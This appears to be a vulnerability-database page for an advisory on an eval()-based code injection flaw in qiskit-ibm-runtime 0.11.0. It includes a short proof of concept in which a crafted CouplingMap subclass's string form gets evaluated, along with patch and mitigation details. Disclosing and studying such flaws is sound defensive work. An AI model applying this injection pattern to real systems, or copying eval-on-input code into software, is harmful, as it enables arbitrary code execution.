Dynamic Variable Evaluation in qiskit-ibm-runtimeGHSA-cq96-9974-v8hm
LOWFix: Qiskit/qiskit-ibm-runtime@2e8c8c8GHSA-cq96-9974-v8hm is a low-severity (CVSS 2.8) remote code execution vulnerability in qiskit-ibm-runtime. A fix is available for qiskit-ibm-runtime — see the affected versions and patch details below.
Real-World Exposure
qiskit-ibm-runtimeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.
Details
PoC
A local exploit would be something like
from qiskit import transpiler
class BadActor(transpiler.CouplingMap):
def __str__(self):
return "print('external code')"
Where print("external code") can be any arbitrary python code string.
Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit
cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))
bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()
with Session(service=service, backend="ibmq_qasm_simulator") as session:
sampler = Sampler(session=session, options=options).run(bell)
This will print external code
Impact
Security vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | qiskit-ibm-runtime | ≥ 0.11.0&&< 0.11.1 | 0.11.1pip install --upgrade 'qiskit-ibm-runtime==0.11.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for qiskit-ibm-runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update qiskit-ibm-runtime to 0.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cq96-9974-v8hm is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-cq96-9974-v8hm in your dependencies?
Find it across PyPI, including transitive dependencies.